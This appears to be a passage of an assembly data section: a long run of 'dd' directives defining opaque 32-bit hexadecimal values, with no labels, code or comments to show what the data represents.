dd 0B2138BF2h, 71DC10D5h, 759B59C2h, 3A422Bh, 6C579BDh
dd 1B2E03B9h, 56F8C6F3h, 0B503B800h, 0C7420A68h, 0A5FD0C67h
dd 0FC9116B7h, 1F00F8EAh, 4F6A6647h, 802E8Ah, 6022A0BCh
dd 0F3FEA65Fh, 0FBF4C501h, 7D972C61h, 0B91A6883h, 613E4BB1h
dd 619B006Eh, 40882FD8h, 187D7C37h, 691BB778h, 10F23BAh
dd 608CF306h, 0F2CC75DBh, 3531004Bh, 0F1BC6FF8h, 0D452629Ah
dd 283ABCh, 0F2F4904Eh, 0AB5248h, 5B400530h, 0FDBD0274h
dd 35D0361Ah, 0DDB74361h, 0D6A0D458h, 11196070h, 0FB727886h
dd 0D4FC4D0Ch, 0CF6104h, 0C4B6E641h, 0E40EDF79h, 0D4A8B70Ch
dd 7B5F210Ch, 940A0063h, 0B95C85FAh, 6800C217h, 0ABAC526Dh
dd 297FBC5Bh, 9EB41303h, 95A1C097h, 0B6AFAA42h, 5609BE8h
dd 0DFFF6051h, 0D24F03DCh, 346BE2FDh, 1246A103h, 0D8D829C1h
dd 3C68AB2Bh, 0B387FB4Ah, 73CBF342h, 0E9019741h, 50C9821Ch
dd 0DB911Bh, 0DB802A41h, 0C638AA6Dh, 0B090AB3Ah, 2ECC3118h
dd 4F28013Dh, 27F4F810h, 0CD30C47Bh, 0AA4A5914h, 179F80A0h
dd 1DEE2C9h, 66EE208Ah, 0BD4D85B9h, 7C3782D9h, 90814175h
dd 0F495B90h
dd 79FF1D1Fh, 639969A1h, 514CFBB7h, 91BD06EDh, 4C83EA4h
dd 0B760A1CBh, 5FD44032h, 7DFE9B8h, 0AF2C41C6h, 7874C0DAh
dd 48005D98h, 8326D19Dh, 63F84D94h, 0EB628950h, 0F510F1F8h
dd 9EA90D1Fh, 26D84400h, 0A8499AC2h, 4CCE2A68h, 250065BCh
dd 6B58FF91h, 48C05F8Fh, 2127493Fh, 73320081h, 0AB8CE99h
dd 0FE073B46h, 0A96D54B2h, 91615210h, 0F88418F0h, 3016815Ch
dd 6AFE95B8h, 9700FC74h, 233CFF8Dh, 5AA835Dh, 0BB5EAC92h
dd 46C020B8h, 3B00B21Bh, 32FB51CEh, 317F9Eh, 458D52B7h
dd 135C72Ch, 22D84149h, 0C3CC0158h, 3C68A6F0h, 0D5020E3h
dd 0B8BF0F0Ch, 171D5919h, 1C9454h, 1870163Ah, 0F4124F9Eh
dd 8000E83Ah, 4E41F126h, 52607B71h, 4018CB7h, 0A32847AAh
dd 4F51E4FFh, 87946A48h, 69F06242h, 28BC1A35h, 0C3668h
dd 0C5643C7Dh, 0A4AEFD17h, 3E913B00h, 8D03457Eh, 53F0076h
dd 0E4B88033h, 0EB24A1A9h, 2000E8BAh, 1C57CBC7h, 586848E5h
dd 0EB6CBE80h, 0BA1275D5h, 0DC21821Bh, 0C7F91D83h, 2C80E022h
dd 14F96BF0h, 5D52CC00h, 8C1B1F58h, 8921DE0Dh, 0C490D471h
dd 0FB1EAC4Bh, 0AE49CB75h, 0E73D80F4h, 0DD8C3h, 0D4322FDFh
dd 0F829784Fh, 9CB85754h, 48B58B54h, 0F2219A03h, 316B64h
dd 0EC966A61h, 9C2A207Eh, 9242F2C1h, 64ECF43Dh, 88793F32h
dd 41487303h, 89000B9Ch, 0F6BF8034h, 89FC49h, 7A2B0105h
dd 94F4A5BCh, 7C8D1B28h, 6518F890h, 9311336Bh, 0DE5B0082h
dd 0C2C181FEh, 5F00553Fh, 0ED6621C6h, 0C05DF838h, 0A17C01B9h
dd 0F70079FCh, 0B33241D9h, 1472FFh, 66086FA9h, 0DE3682D6h
dd 14001E49h, 0B08197h, 15E9882Bh, 0F7D2CDh, 0AB659C3Eh
dd 43891B3Fh, 5CB24126h, 80E48C40h, 513B12FFh, 405C095Fh
dd 358AF418h, 0FFA25000h, 0D53ED31Ch, 7A39C00Eh, 35A99AF8h
dd 0F350E100h, 242C6045h, 603F78E6h, 0F01C419Ch, 9724EF9Ah
dd 0EB60B4B2h, 0C1BB87h, 0ECF1D6F4h, 8FF93C48h, 0D1168071h
dd 14003D5Dh, 8E250546h, 8749060Bh, 4142F8FEh, 0F6BECB0Bh
dd 0C3D68009h, 7F73FBh, 9D95AC24h, 555E4BA6h, 707D1900h
dd 7475AACBh, 0B0FD7C9Ah, 0CD34070h, 8B1F4790h, 0D801F998h
dd 43F8E32Ah, 0E5B86180h, 0FE0C6F9Eh, 0B48F5D00h, 602E902Ch
dd 928E05C7h, 96E3579Ah, 6258E094h, 0AA34C02Ch, 0F0E03CF9h
dd 3BF8008Bh, 51F7A19Dh, 4F980F80h, 9630C102h, 804D52D1h
dd 1AD871B8h, 0DE10183h, 324CA129h, 510CDBD5h, 14B2044Ah
dd 0EE1A5812h, 9D2C7800h, 0BD5159C0h, 0E499B671h, 827B14h
dd 19C72B24h, 4CCB4193h, 661EE09Dh, 3B9FFC50h, 20AA1347h
dd 0DC8F3A34h, 4CC28600h, 8E10CDE7h, 9C0C0B1Ah, 40101E68h
dd 93E0158Dh, 0F892FB07h, 8008D636h, 6BA75C52h, 2A7EF064h
dd 0ED00FB7Ah, 0FF2FF2DFh, 31B91B44h, 41A14583h, 0F094489Eh
dd 981E88A0h, 3200ECA6h, 0A3257E2Fh, 982B5D6h, 3E938390h
dd 0F89F3002h, 620148E4h, 4E26DC70h, 3C32901Bh, 0D30AA448h
dd 11A09465h, 0A438F5h, 52E6301Ah, 7727F45h, 9AFB1E8Fh
dd 3F19E16Eh, 0EE8C21E9h, 75412480h, 68901E78h, 0F46BC638h
dd 655CDA1Fh, 9C209F52h, 30313595h, 2D78BF22h, 4013A07Dh
dd 5C20831Bh, 1552BD9Ah, 0F414865Ah, 922CDF00h, 8089D33Eh
dd 4ED9E206h, 3B87251h, 0C4096D94h, 4107186Bh, 0AA8DFC47h
dd 6CB6CDB0h, 3EDC93F7h, 0D9DEEB84h, 4774CC60h, 14755113h
dd 0FD34F207h, 40B39D32h, 0B8072A3Fh, 0D51044A8h, 0BC1DC4B9h
dd 9F34B080h, 48D4Bh, 21FB0BF3h, 9D820843h, 98516E3Bh
dd 3CE8451Dh, 25C4A72h, 3A268314h, 685C4077h, 0F44112F0h
dd 4AA8880Fh, 0FCBB7600h, 97B9D13Bh, 84C250E5h, 6CAA3159h
dd 705BA689h, 1901C87Ah, 0BE657CDFh, 0E5E40405h, 97AD5CCDh
dd 74038842h, 69F52933h, 0CE51BC98h, 0CA973809h, 7E740072h
dd 0C017B74Ah, 74948459h, 0F62F6656h, 0CCD50BAh, 0CB97325Ah
dd 2212DDC8h, 74003FADh, 75DA2B3Dh, 90AA5272h, 0FCBF5900h
dd 0F192C4E3h, 90656A01h, 0D8EFE8ECh, 9A1CFC0h, 0A6FBB973h
dd 49D09418h, 393B6705h, 9087893Eh, 239898A9h, 90370015h
dd 96FB65DFh, 411863CAh, 0F0210FB5h, 3D380055h, 23FFE8Dh
dd 43EC9689h, 9C66491Ch, 36B2794Fh, 0BC1F8C08h, 0C6B8780h
dd 98E50580h, 9D84FC0Eh, 14AA0099h, 6079364Eh, 52EF8826h
dd 9401DA88h, 4BC983BCh, 0C062371Bh, 86248001h, 30F03074h
dd 54449928h, 0BBB43341h, 0D0F56AA1h, 91BE4AB0h, 9BB049E4h
dd 62930D00h, 33049A21h, 16241D19h, 1B5B8096h, 0FB526959h
dd 51514160h, 734E00Ch, 0B8AF7423h, 812980B1h, 84CCBE1h
dd 268214A8h, 8BF500D0h, 0C43187E9h, 2A426BDh, 0A61400B4h
dd 1BBB4801h, 3A848E56h, 0C3368F77h, 46B01AC2h, 83A53EC8h
dd 19255780h, 70E48827h, 0BA153416h, 0FA2FCC04h, 241D68C2h
dd 0FDCA265h, 0A7FC7589h, 1F81D752h, 5CE87CA6h, 0AB384CF2h
dd 0BCF0F41Fh, 9CD9B580h, 1A754BD1h, 9F67D813h, 2338C05h
dd 72AAB892h, 0B8130010h, 5BFEC205h, 0AF007FC4h, 70CDA73Ch
dd 7E6D4Ah, 0DF6321C7h, 8BC96EDBh, 20F85361h, 9040FDBDh
dd 3D610Eh, 4388D9CEh, 69A156A0h, 5D5C7A00h, 9BCD3190h
dd 0B85A54F8h, 0FE5601E0h, 5B9DA3BFh, 9F6303Dh, 0A428C9E8h
dd 5D008970h, 4B741ECDh, 45B83D3h, 8E2A46C7h, 1C1C82AAh
dd 0B4181442h, 0C9003A71h, 2DC3FB28h, 0F34192h, 9C099ACFh
dd 0EA500E7Bh, 0E21290B9h, 0B9064000h, 5BDB146h, 90D80F1h
dd 158C2DDh, 0FB835220h, 0BB715CCDh, 3E9CBB28h, 78E81Dh
dd 833BC4C9h, 0FD084D13h, 7E703765h, 0AEC3DC0Ch, 1ACB01B8h
dd 924D17A4h, 77146026h, 36DFE800h, 0B7B8180Ah, 4E1D065Ah
dd 4007D993h, 0B307948h, 8046A30Ch, 192BF004h, 63C727C1h
dd 87DA9C10h, 0D8488BF0h, 742100E7h, 0CB3FE818h, 58A4003Ah
dd 48F9894Ch, 3618FF45h, 0D5396DC2h, 6080AAB7h, 51506CFh
dd 962E9D78h, 0AC709C8h, 570E3C44h, 604FA691h, 0A1991436h
dd 6894009Bh, 7F9C79DFh, 0F0167DFAh, 0F800738Bh, 96D38E60h
dd 0DCC0C06Ch, 0BCC79A2Eh, 8ABCF14Ah, 30206825h, 2ACB07A8h
dd 0FBBDE803h, 0F19DB73Ah, 96F4D231h, 46CB012h, 7EBCD0C7h
dd 9CB217h, 6C5D3780h, 76EAB6h, 8240779h, 48F6A0A1h, 0CF6AE605h
dd 9DC0C8ABh, 4C9FB62Ch, 0B99E144Ch, 0D77895C4h, 0D8539D4Ah
dd 0AE006835h, 0DAA5E960h, 0EBAE12EEh, 4290013Eh, 0D44D0687h
dd 8313BD3Bh, 84C8B0FDh, 40D40377h, 0DE26CDB9h, 8080F2E2h
dd 41FDCA23h, 5820974Eh, 5CA1BF8Ch, 0CFC0E4D6h, 7469BAAAh
dd 0CA4D2B00h, 18A60456h, 611B16D7h, 5DEC0745h, 41CB4344h
dd 0C6F3B816h, 0E25EA830h, 72551F0Ch, 5A33C0D9h, 298A1DDAh
dd 41F1A702h, 5A6B9161h, 0DBB007A4h, 400E3988h, 2D5AF719h
dd 955CD500h, 2AF1CDE4h, 0F8B0029Dh, 357C9755h, 0C2C84CC3h
dd 7096D038h, 46AA1740h, 984D00E1h, 600D9197h, 0D4065307h
dd 1180418Dh, 0B7B92A29h, 191F0DCh, 0CCA77024h, 83376B75h
dd 88DEBA91h, 0A946A866h, 6EE201D9h, 414EBB58h, 6A38419Bh
dd 0FB31801Bh, 0B79FC088h, 0A0A4CABh, 9127943Fh, 0C60EBC98h
dd 2BD2C0A0h, 9942A608h, 0EE8D8205h, 8A99C41h, 5724D080h
dd 2A0BD24Eh, 40B49A53h, 0EECD1804h, 0B2B8A060h, 37AD3883h
dd 20D73613h
dd 1E13DA0Ch, 0FB7A500Fh, 381B6585h, 520588Ch, 9D89A096h
dd 0F0B90053h, 324B34A1h, 8040D44Ch, 82E34266h, 0FC5117A2h
dd 0BE500F7Ch, 3F07F821h, 1C22D5h, 35B1C64Dh, 385F93Ch
dd 0B2931A89h, 0E80CEA24h, 0A8653D3Ah, 0B9830278h, 15809B66h
dd 0A484FBC0h, 49C7D57Dh, 600CBE3h, 22F3C72h, 0C816D20Ah
dd 2B63FB14h, 0DF079AE0h, 0DCEE2700h, 3632C566h, 87DC96D8h
dd 0A075C796h, 2A25689Dh, 0B8B83728h, 36E8C306h, 0B4296FC1h
dd 0B18E4048h, 6000D642h, 0BB59568Ah, 43A6879h, 0BC3EAC51h
dd 0ACA29Ch, 4F102D90h, 1EC4E1F3h, 0CBA8856Eh, 98443FF1h
dd 23D69501h, 49F8EEBEh, 8ECD398Eh, 0B1695327h, 503F617Eh
dd 30BD14E0h, 0D4C74B26h, 879CE10Fh, 397D9EB6h, 60C39800h
dd 5BF291h, 32DA291Dh, 8D4CA3B9h, 0ABD04D0Bh, 0D27400E3h
dd 7F72203Bh, 0C62E2E79h, 589A0840h, 7C01B78Ah, 0B25A3700h
dd 1679E359h, 0C72A137Ah, 80F385A4h, 162B6BC8h, 46B6BA0Bh
dd 803809BDh, 0F6921C65h, 3B0A05DFh, 806ACCF0h, 831BC8A8h
dd 7944D09Ch, 0C02889C2h, 5CDD8088h, 4305986Eh, 0C86B05CFh
dd 48009A7Ch, 0FB3646B8h, 3F740CE7h, 6BBDCC4Eh, 2D62BC87h
dd 0F8F7813Ah, 52C1852Eh, 6B8037E4h, 326CB2Ah, 613B95C0h
dd 81E946ECh, 0EF5DF4E2h, 3C04842Eh, 0DE67E060h, 0F74E0421h
dd 0B8E8E453h, 4922C81h, 5F73C501h, 0DC50B8D5h, 21D3C3h
dd 0D42D8822h, 0DBC7AB84h, 0C6739001h, 8363B2E4h, 0C4307621h
dd 85D4A005h, 0B24C844Ch, 486082DCh, 58513Fh, 7EC8630Dh
dd 0C64C7541h, 38013BD4h, 0C090CCCBh, 0B2C9E93Eh, 32CC037Eh
dd 8C1B9D15h, 0EB02C986h, 36989738h, 25079CBh, 0D49C729Ah
dd 5000D05Ah, 26B49165h, 0E862E559h, 0A57500E4h, 32ABFF38h
dd 91754ADDh, 1489AF8h, 41F20638h, 28410A98h, 468B6B9h
dd 44B4DB74h, 996C8CF6h, 83AD93Fh, 812FF82Eh, 7A6AEE3Dh
dd 0BBC0E8F6h, 9C3A3E00h, 2EE1402Dh, 5AC2CD0h, 627A608Ch
dd 710068D2h, 3AEC8608h, 54FD50h, 2E8F51C2h, 924F9746h
dd 5178C9Ah, 820B6C4h, 0DB343Bh, 3649F01Eh, 99D1BCA9h
dd 0D8C2BE0Fh, 80224BF9h, 8A55B78Ch, 41CF034Ah, 0C76C5E82h
dd 6B2E19A8h, 8880B924h, 0E004EC4Ah, 5E49D036h, 0E444980Bh
dd 239BBCA1h, 0CB630040h, 0BAEF8420h, 0A6EE0004h, 181F6A51h
dd 99284F4Eh, 0CE08A89Ch, 8EBFD4A7h, 0D37E2963h, 2CAB0009h
dd 0AB561B2Ah, 16FF5100h, 586241C1h, 1A702ADBh, 0A65324F4h
dd 0CF0039EEh, 4F3EF231h, 9CBC2988h, 0C4739340h, 0A56D006Fh
dd 972B3F50h, 707463CBh, 0B7489B14h, 32A88098h, 0ED5CF9h
dd 0FF65D927h, 0C41B374Ch, 82218A00h, 2580E0BAh, 129E463h
dd 445EBC41h, 6C8A1B3Fh, 4F08234h, 0B5F96194h, 0C6D925C3h
dd 16578C10h, 0DC03AEE4h, 0E87B7383h, 0FBB0B00Bh, 39DE002Dh
dd 99E09DB8h, 9B4C63D0h, 0D4A07B10h, 92602C15h, 4D87C7B8h
dd 0FB172A93h, 0EA3A002Ch, 0F59A8986h, 940084FCh, 36959D4Dh
dd 1502DF0h, 736CC127h, 396B083Fh, 467E031Ch, 0E8F6968Bh
dd 1F708D0Ch, 57B27D87h, 1254059Bh, 0F438E4B7h, 0CEE27600h
dd 2C4C7CFFh, 6F7804EAh, 0B38F1BC2h, 90747688h, 19827512h
dd 6A2C01Fh, 0B8A7A19Ch, 2700116Ah, 36B44DF8h, 2D8C960h
dd 0D9409480h, 40C1370Fh, 107860DEh, 6982D00h, 367D96FEh
dd 0C620A2C3h, 2FBD00D4h, 68E2A74Fh, 6148D198h, 0A3F6006Ch
dd 6A9D9399h, 6FBF007Dh, 0F77B47ADh, 0AA4C7CFEh, 99F080F0h
dd 0B09B249Ah, 0A7091230h, 3E1D32h, 0FCE31D89h, 0C82E5D12h
dd 4B80D5h, 0ADFD61C1h, 24A95020h, 0DBB90EC1h, 79012A42h
dd 824E9A74h, 36C4F2C8h, 428492C9h, 96FAC168h, 0B9168032h
dd 0CA3C2C99h, 0CE9F960Bh, 0B8F88087h, 376952Dh, 5A8AAF32h
dd 15A1BD9Ah, 1C3DB7h, 3AFFE4C4h, 3EB95A9h, 589E7BCAh
dd 1DA8B175h, 0D3FC4703h, 0C740525Ch, 6290FB22h, 0D7B838h
dd 0E9AAE465h, 1D8023F2h, 0DA51600h, 0FE835237h, 20935BF3h
dd 0C927283Ch, 0AC20E85Bh, 1D4D95CFh, 13D757Ch, 45874854h
dd 94BEC4CDh, 692DE60Ch, 48E158F0h, 0D9C0D010h, 3A79BE21h
dd 4C961200h, 0C89323DFh, 688A27FAh, 0FD6EE8A0h, 3E00AF12h
dd 0F7FB546Ah, 31B964CEh, 0C5496085h, 2034600Dh, 0D8901B2Eh
dd 0BD326340h, 3F6030E3h, 6C915AC8h, 92BF017h, 2641DE07h
dd 18186B95h, 16DC5B4Eh, 1DAD2C40h, 0FDAA42E4h, 28C0E24Bh
dd 3A13D848h, 0FC25B4B6h, 18B20080h, 90B042h, 0D09481Eh
dd 0A45C8879h, 0A0CD332Eh, 0FA1B7058h, 0E8950036h, 9E063FE5h
dd 4701B139h, 1AC3108h, 0AC27944Bh, 0A56E751Eh, 0C055C09h
dd 0F16C88C3h, 2480D200h, 48E7C1C2h, 0FBC52E97h, 352040C0h
dd 0CF00014Dh, 0D071F0C0h, 0B015E217h, 61D501A8h, 2433252Ch
dd 0A8402BA9h, 0CEC5753Ch, 42F8FCh, 6F81591Fh, 0E948C9ACh
dd 7DE02BFAh, 11834111h, 219CB917h, 22D494C0h, 27180BCCh
dd 5D005FF5h, 73EAA3Bh, 391BA613h, 4CF2E025h, 3B428500h
dd 8399715Ah, 0F0BE4501h, 1FD836C6h, 0EE18C014h, 15B085DEh
dd 7E3DDF02h, 80554EF0h, 5BBDB4FCh, 0EA90F808h, 336E8F3h
dd 32216097h, 3CE0EC29h, 10604A3h, 0EF2EB686h, 9A0D4488h
dd 83080C00h, 40AF576h, 0FB7A3C72h, 2C675CF6h, 36253722h
dd 0C3346AC1h, 0CA22A4E4h, 0CD002059h, 8DA46A8Ah, 0BCC608E5h
dd 0A0471A68h, 5F69DE40h, 0F55D09ACh, 8C01409Eh, 4104C218h
dd 38C8CBF0h, 0AB268724h, 36D4C3AEh, 0DC9EB88Ch, 0DBF601DEh
dd 0B5691425h, 4780476Fh, 0E4B74531h, 241D3854h, 25010DAFh
dd 9E503D66h, 3058DC72h, 5A6EAC0h, 9B00F9E6h, 641896D5h
dd 4EA2ACh, 27E53C88h, 360AE0A1h, 9C30D64Fh, 2CD21DF9h
dd 4040FBE3h, 0BE759264h, 0EB3EBA00h, 66A08307h, 0ADBC002Ah
dd 811FDACDh, 0A8086BC7h, 0A019851Bh, 0BD10E9F0h, 0CD0555F1h
dd 0B6C09548h, 0D714F4h, 0E8DC4F77h, 0D19D200Fh, 8913F37Bh
dd 0AC0AE212h, 82BC4C1Ch, 66E0BE8Ah, 60F8E22Ch, 9E71F4A0h
dd 272B807Ch, 5756D8F2h, 0EFFD20FDh, 0E9108F0Ch, 4840D9C4h
dd 0CB113C59h, 22284813h, 406C9430h, 0C638C374h, 68BA2B00h
dd 0D1D594EDh, 16B828B4h, 3B9D011Ch, 0C29CB1FBh, 6FE07BE9h
dd 28CC1C09h, 2912D936h, 0E42DD4h, 154668F7h, 1E81BFB8h
dd 4740706Ch, 0C4765C0Bh, 0F5248CE3h, 73D6BA00h, 2FE44ACCh
dd 0E2B60912h, 1C10FBF8h, 330CAD47h, 3A3CD6E5h, 5E000E7h
dd 83AE9821h, 0A701B913h, 84DF79FDh, 0D7D0013Dh, 0CD161267h
dd 0C310307Dh, 3200271Dh, 55ECEF6Eh, 836FD9h, 87649328h
dd 2C3479CCh, 0D08DC34Bh, 66DFAC81h, 731E7FDDh, 0FD8D0420h
dd 80BA31B9h, 6FD8350Bh, 0BD8AD100h, 1E300989h, 169C98DCh
dd 1D527322h, 62788055h, 47D1969Ch, 720A4A1Eh, 0C7EEA587h
dd 5E204F3h, 6BCD3CC0h, 0EA8880BBh, 6CBC9F41h, 0B234641h
dd 0EC097873h, 160106D4h, 3D71F84Dh, 0EB0F1D40h, 882FAA00h
dd 3415C45h, 0AF4905FCh, 0C11F34B7h, 5480444Fh, 6B6F1675h
dd 4738BE08h, 14D5E020h, 0BD000C4Ch, 64DABFE4h, 2C7C88Dh
dd 0C5849E9Ch, 0E0906A0Fh, 97015FF2h, 0FA0DEE29h, 9BD06941h
dd 2C6300FDh, 7CD3A2CBh, 8501E349h, 4EA19D02h, 9820C8D0h
dd 9C1F44DFh, 40E57A2Ch, 7B596000h, 1ED80BCh, 0C501D953h
dd 4868BDB2h, 84077CE4h
dd 0DA729803h, 0CFBC650h, 19DECBBh, 4EED5001h, 27A7430Eh
dd 0E98809A8h, 4DBC8095h, 5CB9056Fh, 0BBB0549Fh, 5B24FF88h
dd 6F601C22h, 1C1CBC4h, 4750174Eh, 0F4074F61h, 0F9007E87h
dd 390BC859h, 240F9AB2h, 40B06B05h, 698B3B63h, 0A3595500h
dd 6FC3B025h, 965D3B5Bh, 3E31548Eh, 3F018D42h, 0EE4745Ch
dd 29880880h, 0E3410052h, 40BF0C2Ah, 0A40E7B9Dh, 6435379Ah
dd 0D0B4D51Ah, 0B89009AFh, 2CC45694h, 9BBDF500h, 82C9D6F4h
dd 20434B1Eh, 599E69E8h, 0F0FCC413h, 9D4A5CB0h, 0A4C83C13h
dd 0D0288D6Ch, 1C44D410h, 9CB62EBCh, 0AB6E4154h, 1B32DC98h
dd 71108903h, 99256139h, 4EF5B6BDh, 0B2E29A4h, 0B433EDD1h
dd 0FEC8E9A8h, 0DF7E1F16h, 120B6200h, 9AC677h, 0B4A99D10h
dd 71CEA71h, 9380C891h, 0D5652A7Dh, 383600E4h, 2F418197h
dd 6625E324h, 0C84499h, 4D183522h, 57C67804h, 9C277500h
dd 0B79D4F12h, 0B05A02A6h, 0EBFC3A5Eh, 86433C7Ch, 0DAF6C839h
dd 0D1A20140h, 8D921AE2h, 16F8F7C1h, 0E8642F8Ah, 2530CC8h
dd 199EB878h, 7C9CBCC0h, 0F3502D0Fh, 1A6202C2h, 26E47290h
dd 0CCC6ECh, 9529DDE1h, 9CA16F35h, 5DE0DB5Bh, 9A9D99F4h
dd 8A084358h, 0C0A4429Ch, 0C0401DCCh, 18BD4240h, 164FFA82h
dd 0C3FE6024h, 0D6809BE0h, 8B00B5E5h, 125BE648h, 4C095F74h
dd 52C0F8DDh, 0DF0D7890h, 6A3FE201h, 4CBBA4D7h, 9044203Eh
dd 0B800E786h, 0AA247091h, 0DE7CE1h, 7E35E8CAh, 9D95047Dh
dd 0CEA4111h, 99F88900h, 87790D4Eh, 64675824h, 87BC1C24h
dd 6041F1B2h, 1F4649Bh, 5B1693C7h, 7B18EFCAh, 8BDDB0h
dd 9BEBA8D6h, 0AF1480F1h, 0C7639E14h, 18E92D94h, 74DDB4h
dd 80D71038h, 37F08F0Ah, 0B9258D7Fh, 7A6818B1h, 8D9E4FD9h
dd 0C3A4307Ch, 0DE24109Dh, 7E5A00E4h, 0A956E575h, 450138F9h
dd 0C07BEFDDh, 24C8482Ch, 0C1220215h, 4D80B6CAh, 0B2973083h
dd 70DF5008h, 0DE338134h, 0CCFDE9C1h, 1605996Bh, 10184FF1h
dd 81028CF2h, 7EEE6D7Bh, 4F0498D6h, 24B4FBCBh, 38D3009Eh
dd 22DD1F16h, 25042C6Fh, 0ADA7C60Dh, 0A075E8BCh, 276AB890h
dd 0FC68FB2Fh, 0AB1CE328h, 51031870h, 0E0214424h, 1320701h
dd 588A1D83h, 80A8BBCEh, 53F6316h, 2E88F028h, 3D60FAD9h
dd 810FC7C4h, 0CF604FCDh, 0B627E093h, 0E233C4EBh, 1B90CF49h
dd 0F0049AC2h, 64414462h, 0CE7024F2h, 0F402264Eh, 56F7560Ah
dd 0E75D0F44h, 0C00F2067h, 0AE95CB17h, 5CC684Ch, 6A0226C8h
dd 6970F4h, 6D7DD8CFh, 15E53A14h, 7579B4A0h, 20D59A2Dh
dd 4DAAB858h, 41470330h, 0A4613FDEh, 760980A6h, 106B5191h
dd 1ABB9A4h, 0D8817894h, 20722938h, 2805D3A8h, 1795BA20h
dd 2563C8A0h, 0C0201D7Eh, 0F87B428Ah, 4E5AB771h, 7D10C20h
dd 48251638h, 401C30EFh, 0C0096146h, 648DB6B5h, 809498E4h
dd 74C9B44h, 0A7AB81FCh, 78E4C996h, 8277877Fh, 0F9ED1E00h
dd 0F3FC812Ah, 5F5C3AEBh, 22D7A382h, 4D8AEAFh, 90B48525h
dd 7635904Ch, 0F6910BE2h, 6A8F6BABh, 80FC7A60h, 32009609h
dd 9C24FD55h, 48A79775h, 0D7805468h, 0DE663CA3h, 314D007h
dd 0C7927DBDh, 72888ECDh, 70D7E005h, 4D34CC20h, 0D4260252h
dd 79FA6EF9h, 0E5835DE0h, 71FB5F17h, 3E990820h, 1034EFC3h
dd 0DCBE24E3h, 0AD800214h, 0ACD1D08Fh, 8B49003Ah, 0EC48F655h
dd 0F1F40094h, 78D96FFEh, 8601C444h, 67267FB9h, 9E11B8D4h
dd 0BC36F8AFh, 0CD56C516h, 3F23E9B0h, 0A8016D2Bh, 0D3D2755Ah
dd 85CC2099h, 1C6B22h, 669004C3h, 0CA97A7FAh, 78F45090h
dd 109D1C98h, 297114h, 2E552F56h, 0C9B0AC13h, 707E4400h
dd 0ADE8DCC2h, 0BB773FF7h, 992F3AF5h, 8C3F0900h, 7E45603Ah
dd 0F88D7900h, 0A1786FD7h, 5DD500F6h, 0ED3AF288h, 0AD00F577h
dd 84F3074h, 6F3D53A9h, 0AB8050BCh, 6D1FC60Fh, 75584C1Eh
dd 4B0C6F93h, 788E21AEh, 5D220081h, 9C32DE8Dh, 0BB3F256Eh
dd 0F1D01838h, 78CEE899h, 0AA983CEEh, 59805880h, 287E2EFFh
dd 35CF38C0h, 81A5AAEh, 0F5750F74h, 877AE600h, 50A24B26h
dd 2FDD31Bh, 6105AF84h, 0B240A3CEh, 451EBF43h, 0CCC17D74h
dd 36DC06BBh, 30A9B9D3h, 0E164CF0h, 0A1A534E4h, 506D6B60h
dd 801F2F42h, 714095B1h, 16C58AC2h, 5684A8EFh, 0CCCF0130h
dd 51CD8792h, 0A8C4D4C2h, 4468BD60h, 7BEC5648h, 6DDE0609h
dd 0B1760C43h, 3A8E48h, 19B78C34h, 0B1BDBBh, 2E89A1D4h
dd 2BD8020Dh, 470F1E18h, 0AC2031h, 0AE710819h, 0F352F1A8h
dd 3801FA00h, 51309F5Bh, 0B045507Eh, 0B8BA5471h, 589701E0h
dd 0E5C28DECh, 0F2B051DBh, 121BC37h, 6154C0BDh, 69A47971h
dd 0C183944h, 0CA7A1170h, 0F1334D00h, 0AA6506BAh, 8013524Fh
dd 3DF0AE00h, 0D23C9132h, 0F0F3E228h, 0FE747839h, 125F3712h
dd 80F91C08h, 38BA286Eh, 3D22C1AAh, 0DA7C9Eh, 8CD326C9h
dd 3ED42A98h, 230BCB00h, 2EF56703h, 960A01E5h, 3CADEEF7h
dd 6A398062h, 2BBE17CAh, 44E700F4h, 7A2ED573h, 4C149706h
dd 1D8C403h, 31B264E5h, 398E613Dh, 1B2823Fh, 42D7FD9Ah
dd 0E67B20C3h, 6F441800h, 92819D27h, 8B3301BCh, 0A14D9CE8h
dd 0C5D2D09Eh, 0A483CF2Ah, 1C1E8C00h, 0B57FEED0h, 40FE0086h
dd 415131AFh, 0A0A85A0Ch, 7C0082D2h, 5CB5D673h, 3E63F3DDh
dd 0C603E52Dh, 86C3934Eh, 51513Eh, 0D436120Bh, 74439F2h
dd 1CBC9A61h, 0F94C500Dh, 42014E03h, 0BF387633h, 0D1809D3Ch
dd 3406F154h, 3700F3D7h, 3D86D9EDh, 4FB26Ah, 77ACCCFBh
dd 0F707BB1Eh, 1FCD0B1Eh, 2E877C03h, 0AF6C90AEh, 44D49096h
dd 0EA541662h, 1407B0D8h, 10A02134h, 51F33E00h, 99C2022Eh
dd 9736C6EBh, 944CF882h, 0BA5CAC48h, 25EC9CEAh, 922EEC09h
dd 23C10D0h, 0A6640954h, 4026AB6h, 3460458Dh, 1B00616Dh
dd 9D807451h, 1F7D7FDFh, 0C0E14BBDh, 0DD535894h, 0A8A8710Ch
dd 0E304EDFDh, 0A632C6FEh, 0B7BA88Ch, 5663242Fh, 0FE103500h
dd 2AF4190Ah, 0BD08B907h, 0DE7384D9h, 22DF8027h, 33BB0688h
dd 0B04E6914h, 0AB483112h, 613EE001h, 598C816Ah, 97C1F9CFh
dd 80C9673Fh, 6A204F94h, 0F0856ED7h, 0E74B008Ah, 0C456CA22h
dd 50DF5367h, 0BA7BBC00h, 1EDBE28Dh, 804F7E2Ah, 57CAF8A8h
dd 433FD5FCh, 7C8A808Eh, 0EC880491h, 0D39400A5h, 0EAB75474h
dd 0D0F8FADCh, 1B81FF60h, 7593BEC4h, 0F5D70CC1h, 75102F76h
dd 69FFEB00h, 0A9D30355h, 0C2F20C7Dh, 7F39F7EFh, 93944201h
dd 0B84BC674h, 88EB0030h, 0A30FA08Dh, 891D6EE4h, 71D410E2h
dd 91E1F0C5h, 5A8604F4h, 0D3E4C874h, 0AB75FCA0h, 944A11C0h
dd 2A6155D4h, 0FA9C6674h, 0DF21011Ch, 57205B39h, 0FD79F859h
dd 89CBF609h, 5F6C900Ch, 0FC7F28h, 6FA78BEh, 0CC07DC2Ah
dd 0E7129B00h, 0AFC7F719h, 0B85400DFh, 0C5F189CDh, 2900B133h
dd 924C56F4h, 71AF089Bh, 863F321h, 48145507h, 0C099548Ch
dd 0FB18EF83h, 0E8E9011Dh, 0B7EE1382h, 744415h, 58ED5CF6h
dd 2B7E6076h, 7282E200h, 53AA9703h, 5AE63B35h, 162C80D2h
dd 472A4084h, 5D08E78Ch, 80B53CD2h, 844B20F8h, 0D700E8A9h
